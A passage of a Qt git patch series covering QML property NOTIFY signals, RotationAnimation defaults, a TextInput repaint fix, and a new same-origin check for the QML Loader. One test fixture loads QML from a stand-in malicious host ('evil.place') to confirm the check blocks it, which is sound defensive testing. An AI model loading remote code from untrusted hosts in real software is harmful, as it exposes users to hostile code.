msec: 2528 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2544 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2560 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2576 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2592 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2608 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2624 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2640 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2656 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2672 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2688 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2704 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2720 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2736 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2752 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 150; y: 274 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2768 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2784 - hash: "44a0b46c21bd4c76d44883ba146e3614" - } - Frame { - msec: 2800 - hash: "2224abc3333a2bc5fa1cf3c4e8d6a6f9" - } - Frame { - msec: 2816 - hash: "ea9c05c0295a300e21aacbdfd5b4968e" - } - Frame { - msec: 2832 - hash: "e630e2893f89a6ae536bcbd1a084af07" - } - Frame { - msec: 2848 - hash: "af56f1e79eb3746efb9e4bcbc3fbced8" - } - Frame { - msec: 2864 - hash: "96be8c3ba0d7a85c6f6df877b869b563" - } - Frame { - msec: 2880 - image: "parentAction.2.png" - } - Frame { - msec: 2896 - hash: "603d8684cb6f097e3ab2a2e5ef053112" - } - Frame { - msec: 2912 - hash: "0433d242d1dd40a3792f55f807ebbff4" - } - Frame { - msec: 2928 - hash: "1190067cacc7361f6cfe09f153c7a07e" - } - Frame { - msec: 2944 - hash: "98e917880471511122847ad8a406e3a3" - } - Frame { - msec: 2960 - hash: "fff06869074a3a6c5823ed3fb6fa7a43" - } - Frame { - msec: 2976 - hash: "602d95daee8f160a0fd784931d0a06bd" - } - Frame { - msec: 2992 - hash: "f7e466bbd52f40e88ff567758f4db835" - } - Frame { - msec: 3008 - hash: "54417a4c4fb71d458439ad2e2126f8e1" - } - Frame { - msec: 3024 - hash: "fe150dd5056b9dbf1cd0b196e9a7a47b" - } - Frame { - msec: 3040 - hash: "1384c871bead85916f7bfcdebc370697" - } - Frame { - msec: 3056 - hash: "5f13339cc0e604b75a9d1d85342fa717" - } - Frame { - msec: 3072 - hash: "655069d61b7a44e729a2cbb33d683c3e" - } - Frame { - msec: 3088 - hash: "2324e9e4a02e41855b066983dbf0e61d" - } - Frame { - msec: 3104 - hash: "0217baf091325b95c033ba073bd68ce5" - } - Frame { - msec: 3120 - hash: "c27854c3af5b58db85846a1762ab18ba" - } - Frame { - msec: 3136 - hash: "45246ee6383ceb6260f84571a885ba90" - } - Frame { - msec: 3152 - hash: "d82ded86f093d1a376994cacf43d0343" - } - Frame { - msec: 3168 - hash: "c9179d30f80c6101bca2bed40d6a859f" - } - Frame { - msec: 3184 - hash: "a63e032d20a9d985c6c345434d98a364" - } - Frame { - msec: 3200 - hash: "fc7d6797ce15edf7fadb9dae691ecd5c" - } - Frame { - msec: 3216 - hash: "76cf37ad8c50fed8b1900784b647819c" - } - Frame { - msec: 3232 - hash: "256aab3690c9ba928bb4d4dd3bbfc756" - } - Frame { - msec: 3248 - hash: "90cab52fdefbae4e7d0f0f93b46ebeb0" - } - Frame { - msec: 3264 - hash: "badb5103bf826dc467f6e620cc2b47be" - } - Frame { - msec: 3280 - hash: "e7d0e437de5ebc0fa07b2a4ef11159cb" - } - Frame { - msec: 3296 - hash: "5931b1c3932ab91446324165d7e2603a" - } - Frame { - msec: 3312 - hash: "ce1808db90ba955ab3cb845500f4c013" - } - Frame { - msec: 3328 - hash: "142f8a440d1fe2d868f47ba3006de9d7" - } - Frame { - msec: 3344 - hash: "10d32a6cc90319ea66d7f2c1241590ce" - } - Frame { - msec: 3360 - hash: "7f633559d715396e6de451b3dd2fadbd" - } - Frame { - msec: 3376 - hash: "d44590ae51ceef5e082747c44bc41be9" - } - Frame { - msec: 3392 - hash: "2b498181668fb1fbf65294d575654929" - } - Frame { - msec: 3408 - hash: "7efeeffd08e4de440da83511313de729" - } - Frame { - msec: 3424 - hash: "8de2331393d1e712192d11ed096836d3" - } - Frame { - msec: 3440 - hash: "fa9381ef2e295865a9b8cb9b36a0eacf" - } - Frame { - msec: 3456 - hash: "97debc4432c5ecb7f606a81e5411b02c" - } - Frame { - msec: 3472 - hash: "eb4c1bb1f4398e3c18182c28a015be76" - } - Frame { - msec: 3488 - hash: "a976aa509f4c6f309d9a6011eeae02aa" - } - Frame { - msec: 3504 - hash: "457de7ee05e0ef0ef120a3d4e371c02e" - } - Frame { - msec: 3520 - hash: "0c01f9f150fe33155fa20703735a6d27" - } - Frame { - msec: 3536 - hash: "5af4f80624082a264010247ea8630a1a" - } - Frame { - msec: 3552 - hash: "b23a1191d149549fa29a61b6dc70f037" - } - Frame { - msec: 3568 - hash: "e00fb32cb13b1347e4b7b9fdbcca68e5" - } - Frame { - msec: 3584 - hash: "fef0503c82f253f8bc3fb3e705a98aa7" - } - Frame { - msec: 3600 - hash: "7a9beca28340d2aa89da5e05f5ac2a55" - } - Frame { - msec: 3616 - hash: "f3c57ea07ab486ffa1f46da60de0b8f1" - } - Frame { - msec: 3632 - hash: "ef0a4ad9ac339fd6ea50dbe6baa9387f" - } - Frame { - msec: 3648 - hash: "1b317a9eb4ce022f005d551546c688a4" - } - Frame { - msec: 3664 - hash: "628e912a4a26800b9b7b5e60e60e3a7d" - } - Frame { - msec: 3680 - hash: "3587b75e4d834a88729754d2c2a4b193" - } - Frame { - msec: 3696 - hash: "084bc1360a38123589baec5aae15b4ff" - } - Frame { - msec: 3712 - hash: "47f0f6c3cdf456826a6fd6846e58dcc8" - } - Frame { - msec: 3728 - hash: "ed982c4c3ebd132baaaf43efad40a3f7" - } - Frame { - msec: 3744 - hash: "d7ddce47c23fada4c69d53d934582d71" - } - Frame { - msec: 3760 - hash: "74f2f911bee26c4c551f4c70596753ae" - } - Frame { - msec: 3776 - hash: "3ed7cbf10dfce3a485d7878766cf9da6" - } - Frame { - msec: 3792 - hash: "87a74257551ab6c7fcfe05e815482ae9" - } - Frame { - msec: 3808 - hash: "4f63e4904e97d4ce832b20b7317a9958" - } - Frame { - msec: 3824 - hash: "f912da8781e547c6e28890655c1b8884" - } - Frame { - msec: 3840 - image: "parentAction.3.png" - } - Frame { - msec: 3856 - hash: "faa640ccf993324400254ffb862ac279" - } - Frame { - msec: 3872 - hash: "b67f342424d1b9a364b09da8994fcd6b" - } - Frame { - msec: 3888 - hash: "b2407732194c1e0c2a9bfb379b94b562" - } - Frame { - msec: 3904 - hash: "55733608d0302ef90c124322ac6d8dc6" - } - Frame { - msec: 3920 - hash: "734f5b628a26d3d7c91ee84fb26d5b5f" - } - Frame { - msec: 3936 - hash: "27839fefa4a218cd77843358392bb874" - } - Frame { - msec: 3952 - hash: "8cac19559d37bd2b581cef0a4c707753" - } - Frame { - msec: 3968 - hash: "91422870aa1471571e7dd8ff5103f76c" - } - Frame { - msec: 3984 - hash: "7156166d5f8d13483467ef515627c95d" - } - Frame { - msec: 4000 - hash: "6028e8374c2ce42a9a9e85b4a8b53027" - } - Frame { - msec: 4016 - hash: "17c99592be58d2e03f9f173c47c0649b" - } - Frame { - msec: 4032 - hash: "6084b53186c6a7eda38ac7fa34bf45ce" - } - Frame { - msec: 4048 - hash: "e82131a8a5a06519f49308bbc25738cf" - } - Frame { - msec: 4064 - hash: "77bdb69cbe55d9c503c6aa1c0f974d87" - } - Frame { - msec: 4080 - hash: "b2346ec5d376651347281d5fb00fc4d7" - } - Frame { - msec: 4096 - hash: "36a3b72c9d7f09795c546855a269801d" - } - Frame { - msec: 4112 - hash: "4e5478b33baca797f3f8f72c2c6c51ad" - } - Frame { - msec: 4128 - hash: "e59d12be3ed1f58de010d385ddfe78e5" - } - Frame { - msec: 4144 - hash: "9674106a146effd47c2724a2dd82ae84" - } - Frame { - msec: 4160 - hash: "862cec781f169f713032e6d52d3616ce" - } - Frame { - msec: 4176 - hash: "c8d47bdfb6518ef4827677023313d559" - } - Frame { - msec: 4192 - hash: "19413931b3e788067dfaef39b47d30ff" - } - Frame { - msec: 4208 - hash: "600e426532c0348cd622257b0773efd5" - } - Frame { - msec: 4224 - hash: "6d975e259d4efa108375d271451531c1" - } - Frame { - msec: 4240 - hash: "50b0da4848564c063694202ce16ea808" - } - Frame { - msec: 4256 - hash: "0a9450739031f680735b5210e6a30c3f" - } - Frame { - msec: 4272 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4288 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4304 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4320 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4336 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4352 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4368 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4384 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4400 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4416 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4432 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4448 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4464 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4480 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4496 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4512 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4528 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4544 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4560 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4576 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4592 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4608 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4624 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4640 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4656 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4672 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4688 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4704 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } -} diff --git a/tests/auto/declarative/visual/animation/parentAction/parentAction.qml b/tests/auto/declarative/visual/animation/parentAction/parentAction.qml deleted file mode 100644 index eb3103e..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/parentAction.qml +++ /dev/null @@ -1,55 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 400; height: 400 - Item { - scale: .5 - rotation: 15 - transformOrigin: "Center" - x: 10; y: 10 - Rectangle { - id: myRect - x: 5 - width: 100; height: 100 - transformOrigin: "BottomLeft" - color: "red" - } - } - MouseArea { - id: clickable - anchors.fill: parent - } - - Item { - x: 200; y: 200 - rotation: 52; - scale: 2 - Item { - id: newParent - x: 100; y: 100 - } - } - - states: State { - name: "moved" - when: clickable.pressed - ParentChange { - target: myRect - parent: newParent - } - PropertyChanges { - target: myRect - rotation: -52 - scale: 1 - color: "blue" - } - } - - transitions: Transition { - SequentialAnimation { - ColorAnimation { duration: 500} - ParentAction {} - NumberAnimation { properties: "rotation, scale"; duration: 1000 } - } - } -} -- cgit v0.12 From 714fac87324b9007e5f82487d2c4a10b1997616e Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 23 Mar 2010 13:45:53 +1000 Subject: Add missing NOTIFYs. Task-number: QTBUG-8816 --- src/declarative/util/qdeclarativeanimation.cpp | 12 ++++++++++++ src/declarative/util/qdeclarativeanimation_p.h | 11 ++++++++--- src/declarative/util/qdeclarativetransition.cpp | 14 +++++++++++++- src/declarative/util/qdeclarativetransition_p.h | 11 ++++++++--- 4 files changed, 41 insertions(+), 7 deletions(-) diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index 858f9f2..f644917 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -2277,7 +2277,11 @@ QDeclarativeItem *QDeclarativeParentAnimation::target() const void QDeclarativeParentAnimation::setTarget(QDeclarativeItem *target) { Q_D(QDeclarativeParentAnimation); + if (target == d->target) + return; + d->target = target; + emit targetChanged(); } /*! @@ -2295,7 +2299,11 @@ QDeclarativeItem *QDeclarativeParentAnimation::newParent() const void QDeclarativeParentAnimation::setNewParent(QDeclarativeItem *newParent) { Q_D(QDeclarativeParentAnimation); + if (newParent == d->newParent) + return; + d->newParent = newParent; + emit newParentChanged(); } /*! @@ -2320,7 +2328,11 @@ QDeclarativeItem *QDeclarativeParentAnimation::via() const void QDeclarativeParentAnimation::setVia(QDeclarativeItem *via) { Q_D(QDeclarativeParentAnimation); + if (via == d->via) + return; + d->via = via; + emit viaChanged(); } //### mirrors same-named function in QDeclarativeItem diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index cb8ea3b..356b015 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -430,9 +430,9 @@ class QDeclarativeParentAnimation : public QDeclarativeAnimationGroup Q_OBJECT Q_DECLARE_PRIVATE(QDeclarativeParentAnimation) - Q_PROPERTY(QDeclarativeItem *target READ target WRITE setTarget) - Q_PROPERTY(QDeclarativeItem *newParent READ newParent WRITE setNewParent) - Q_PROPERTY(QDeclarativeItem *via READ via WRITE setVia) + Q_PROPERTY(QDeclarativeItem *target READ target WRITE setTarget NOTIFY targetChanged) + Q_PROPERTY(QDeclarativeItem *newParent READ newParent WRITE setNewParent NOTIFY newParentChanged) + Q_PROPERTY(QDeclarativeItem *via READ via WRITE setVia NOTIFY viaChanged) public: QDeclarativeParentAnimation(QObject *parent=0); @@ -447,6 +447,11 @@ public: QDeclarativeItem *via() const; void setVia(QDeclarativeItem *); +Q_SIGNALS: + void targetChanged(); + void newParentChanged(); + void viaChanged(); + protected: virtual void transition(QDeclarativeStateActions &actions, QDeclarativeProperties &modified, diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp index ac07b10..4326a55 100644 --- a/src/declarative/util/qdeclarativetransition.cpp +++ b/src/declarative/util/qdeclarativetransition.cpp @@ -67,7 +67,7 @@ QT_BEGIN_NAMESPACE \ingroup group_states */ -//ParallelAnimationWrapperallows us to do a "callback" when the animation finishes, rather than connecting +//ParallelAnimationWrapper allows us to do a "callback" when the animation finishes, rather than connecting //and disconnecting signals and slots frequently class ParallelAnimationWrapper : public QParallelAnimationGroup { @@ -195,7 +195,11 @@ QString QDeclarativeTransition::fromState() const void QDeclarativeTransition::setFromState(const QString &f) { Q_D(QDeclarativeTransition); + if (f == d->fromState) + return; + d->fromState = f; + emit fromChanged(); } /*! @@ -213,7 +217,11 @@ bool QDeclarativeTransition::reversible() const void QDeclarativeTransition::setReversible(bool r) { Q_D(QDeclarativeTransition); + if (r == d->reversible) + return; + d->reversible = r; + emit reversibleChanged(); } QString QDeclarativeTransition::toState() const @@ -225,7 +233,11 @@ QString QDeclarativeTransition::toState() const void QDeclarativeTransition::setToState(const QString &t) { Q_D(QDeclarativeTransition); + if (t == d->toState) + return; + d->toState = t; + emit toChanged(); } /*! diff --git a/src/declarative/util/qdeclarativetransition_p.h b/src/declarative/util/qdeclarativetransition_p.h index 861111a..2f9e7b5 100644 --- a/src/declarative/util/qdeclarativetransition_p.h +++ b/src/declarative/util/qdeclarativetransition_p.h @@ -62,9 +62,9 @@ class Q_DECLARATIVE_EXPORT QDeclarativeTransition : public QObject Q_OBJECT Q_DECLARE_PRIVATE(QDeclarativeTransition) - Q_PROPERTY(QString from READ fromState WRITE setFromState) - Q_PROPERTY(QString to READ toState WRITE setToState) - Q_PROPERTY(bool reversible READ reversible WRITE setReversible) + Q_PROPERTY(QString from READ fromState WRITE setFromState NOTIFY fromChanged) + Q_PROPERTY(QString to READ toState WRITE setToState NOTIFY toChanged) + Q_PROPERTY(bool reversible READ reversible WRITE setReversible NOTIFY reversibleChanged) Q_PROPERTY(QDeclarativeListProperty animations READ animations) Q_CLASSINFO("DefaultProperty", "animations") Q_CLASSINFO("DeferredPropertyNames", "animations") @@ -90,6 +90,11 @@ public: void setReversed(bool r); void stop(); + +Q_SIGNALS: + void fromChanged(); + void toChanged(); + void reversibleChanged(); }; QT_END_NAMESPACE -- cgit v0.12 From ceebd7298e8d2325956e297c46a965d68c56b02f Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 23 Mar 2010 14:30:45 +1000 Subject: Change default RotationAnimation direction. Shortest as default too often led to unintuitive behavior. For example, RotationAnimation { from: 0; to: 360 } will not animate at all. Numerical gives the least surprising results. --- src/declarative/util/qdeclarativeanimation.cpp | 13 +++++++------ src/declarative/util/qdeclarativeanimation_p_p.h | 2 +- .../qdeclarativeanimations/tst_qdeclarativeanimations.cpp | 4 ++-- 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index f644917..1fb3d99 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -1136,9 +1136,10 @@ void QDeclarativeVector3dAnimation::setTo(QVector3D t) \brief The RotationAnimation element allows you to animate rotations. RotationAnimation is a specialized PropertyAnimation that gives control - over the direction of rotation. By default, it will rotate - via the shortest path; for example, a rotation from 20 to 340 degrees will - rotation 40 degrees counterclockwise. + over the direction of rotation. By default, it will rotate in the direction + of the numerical change; a rotation from 0 to 240 will rotate 220 degrees + clockwise, while a rotation from 240 to 0 will rotate 220 degrees + counterclockwise. When used in a transition RotationAnimation will rotate all properties named "rotation" or "angle". You can override this by providing @@ -1153,7 +1154,7 @@ void QDeclarativeVector3dAnimation::setTo(QVector3D t) State { name: "-90"; PropertyChanges { target: myItem; rotation: -90 } } } transition: Transition { - RotationAnimation { } + RotationAnimation { direction: RotationAnimation.Shortest } } \endqml */ @@ -1205,7 +1206,7 @@ QDeclarativeRotationAnimation::QDeclarativeRotationAnimation(QObject *parent) { Q_D(QDeclarativeRotationAnimation); d->interpolatorType = QMetaType::QReal; - d->interpolator = reinterpret_cast(&_q_interpolateShortestRotation); + d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType); d->defaultProperties = QLatin1String("rotation,angle"); } @@ -1268,7 +1269,7 @@ void QDeclarativeRotationAnimation::setTo(qreal t) A rotation from 10 to 350 will rotate 20 degrees counterclockwise. \endtable - The default direction is Shortest. + The default direction is Numerical. */ QDeclarativeRotationAnimation::RotationDirection QDeclarativeRotationAnimation::direction() const { diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index 8ed745d..55aacfa 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -353,7 +353,7 @@ class QDeclarativeRotationAnimationPrivate : public QDeclarativePropertyAnimatio { Q_DECLARE_PUBLIC(QDeclarativeRotationAnimation) public: - QDeclarativeRotationAnimationPrivate() : direction(QDeclarativeRotationAnimation::Shortest) {} + QDeclarativeRotationAnimationPrivate() : direction(QDeclarativeRotationAnimation::Numerical) {} QDeclarativeRotationAnimation::RotationDirection direction; }; diff --git a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp index 076afea..bce7166 100644 --- a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp +++ b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp @@ -180,7 +180,7 @@ void tst_qdeclarativeanimations::simpleRotation() QVERIFY(animation.target() == &rect); QVERIFY(animation.property() == "rotation"); QVERIFY(animation.to() == 270); - QVERIFY(animation.direction() == QDeclarativeRotationAnimation::Shortest); + QVERIFY(animation.direction() == QDeclarativeRotationAnimation::Numerical); animation.start(); QVERIFY(animation.isRunning()); QTest::qWait(animation.duration()); @@ -193,7 +193,7 @@ void tst_qdeclarativeanimations::simpleRotation() QVERIFY(animation.isPaused()); animation.setCurrentTime(125); QVERIFY(animation.currentTime() == 125); - QCOMPARE(rect.rotation(), qreal(-45)); + QCOMPARE(rect.rotation(), qreal(135)); } void tst_qdeclarativeanimations::alwaysRunToEnd() -- cgit v0.12 From 95aa8c8fc76e2309a629b05994a2677b0887140b Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Tue, 23 Mar 2010 14:51:56 +1000 Subject: Basic Loader origin safety (for discussion). --- .../graphicsitems/qdeclarativeloader.cpp | 3 ++ src/declarative/qml/qdeclarativecontext.cpp | 16 +++++++++ src/declarative/qml/qdeclarativecontext.h | 2 ++ .../qdeclarativeloader/data/differentorigin.qml | 3 ++ .../qdeclarativeloader/data/sameorigin-load.qml | 3 ++ .../qdeclarativeloader/data/sameorigin.qml | 3 ++ .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 41 ++++++++++++++++++++-- 7 files changed, 69 insertions(+), 2 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml create mode 100644 tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml create mode 100644 tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 745734e..3cbafd6 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -185,6 +185,9 @@ void QDeclarativeLoader::setSource(const QUrl &url) if (d->source == url) return; + if (!qmlContext(this)->isSafeOrigin(url)) + return; + d->clear(); d->source = url; diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index 85896c4..ab3849a 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -361,6 +361,22 @@ QVariant QDeclarativeContext::contextProperty(const QString &name) const return value; } +bool QDeclarativeContext::isSafeOrigin(const QUrl &src) const +{ + if (src.isRelative()) + return true; + if (src.scheme()==QLatin1String("https")) + return true; + + QUrl base = baseUrl(); + if (src.host() == base.host() && src.port() == base.port()) // including files (with no host) + return true; + + qWarning() << src << "is not a safe origin from" << base; + + return false; +} + /*! Resolves the URL \a src relative to the URL of the containing component. diff --git a/src/declarative/qml/qdeclarativecontext.h b/src/declarative/qml/qdeclarativecontext.h index a349628..959af8b 100644 --- a/src/declarative/qml/qdeclarativecontext.h +++ b/src/declarative/qml/qdeclarativecontext.h @@ -85,6 +85,8 @@ public: void setBaseUrl(const QUrl &); QUrl baseUrl() const; + bool isSafeOrigin(const QUrl &src) const; + private: friend class QDeclarativeVME; friend class QDeclarativeEngine; diff --git a/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml b/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml new file mode 100644 index 0000000..e682d1c --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Loader { source: "http://evil.place/evil.qml" } diff --git a/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml b/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml new file mode 100644 index 0000000..e281246 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Item { } diff --git a/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml b/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml new file mode 100644 index 0000000..e7f5a14 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Loader { source: "sameorigin-load.qml" } diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 2c20836..0deac3a 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -86,6 +86,8 @@ private slots: void noResizeGraphicsWidget(); void networkRequestUrl(); void failNetworkRequest(); + void networkSafety(); + void networkSafety_data(); // void networkComponent(); void deleteComponentCrash(); @@ -394,7 +396,7 @@ void tst_QDeclarativeLoader::networkRequestUrl() server.serveDirectory(SRCDIR "/data"); QDeclarativeComponent component(&engine); - component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/Rect120x60.qml\" }"), TEST_FILE("")); + component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/Rect120x60.qml\" }"), QUrl("http://127.0.0.1:14445/dummy.qml")); QDeclarativeLoader *loader = qobject_cast(component.create()); QVERIFY(loader != 0); @@ -448,7 +450,7 @@ void tst_QDeclarativeLoader::failNetworkRequest() QTest::ignoreMessage(QtWarningMsg, "(:-1: Network error for URL http://127.0.0.1:14445/IDontExist.qml) "); QDeclarativeComponent component(&engine); - component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/IDontExist.qml\" }"), TEST_FILE("")); + component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/IDontExist.qml\" }"), QUrl("http://127.0.0.1:14445/dummy.qml")); QDeclarativeLoader *loader = qobject_cast(component.create()); QVERIFY(loader != 0); @@ -483,6 +485,41 @@ void tst_QDeclarativeLoader::deleteComponentCrash() delete item; } +void tst_QDeclarativeLoader::networkSafety_data() +{ + QTest::addColumn("url"); + QTest::addColumn("message"); + + QTest::newRow("same origin") << QUrl("http://127.0.0.1:14445/sameorigin.qml") << QString(); + QTest::newRow("different origin") << QUrl("http://127.0.0.1:14445/differentorigin.qml") << QString(" QUrl( \"http://evil.place/evil.qml\" ) is not a safe origin from QUrl( \"http://127.0.0.1:14445/differentorigin.qml\" ) "); +} + +void tst_QDeclarativeLoader::networkSafety() +{ + TestHTTPServer server(SERVER_PORT); + QVERIFY(server.isValid()); + server.serveDirectory(SRCDIR "/data"); + + QFETCH(QUrl, url); + QFETCH(QString, message); + + if (!message.isEmpty()) + QTest::ignoreMessage(QtWarningMsg, message.toLatin1()); + + QDeclarativeComponent component(&engine, url); + TRY_WAIT(component.status() == QDeclarativeComponent::Ready); + QDeclarativeLoader *loader = qobject_cast(component.create()); + QVERIFY(loader != 0); + + if (message.isEmpty()) { + TRY_WAIT(loader->status() == QDeclarativeLoader::Ready); + } else { + TRY_WAIT(loader->status() == QDeclarativeLoader::Null); + } + + delete loader; +} + QTEST_MAIN(tst_QDeclarativeLoader) #include "tst_qdeclarativeloader.moc" -- cgit v0.12 From fad4cdb70323a2c1925c31917ce2b6cff62748b0 Mon Sep 17 00:00:00 2001 From: Alexis Menard Date: Thu, 18 Mar 2010 05:55:34 +0100 Subject: Changing the alignment property should trigger a repaint. Just clear the cache when the property changes. Task-number:QTBUG-8155 Reviewed-by:Yann Bodson --- .../graphicsitems/qdeclarativetextinput.cpp | 1 + .../tst_qdeclarativetextinput.cpp | 33 ++++++++++++++++++++++ 2 files changed, 34 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 01167dc..b049728 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -220,6 +220,7 @@ void QDeclarativeTextInput::setHAlign(HAlignment align) if(align == d->hAlign) return; d->hAlign = align; + updateRect(); emit horizontalAlignmentChanged(d->hAlign); } diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 8b513e8..e623df6 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -72,6 +72,7 @@ private slots: void readOnly(); void sendRequestSoftwareInputPanelEvent(); + void setHAlignClearCache(); private: void simulateKey(QDeclarativeView *, int key); @@ -651,6 +652,38 @@ void 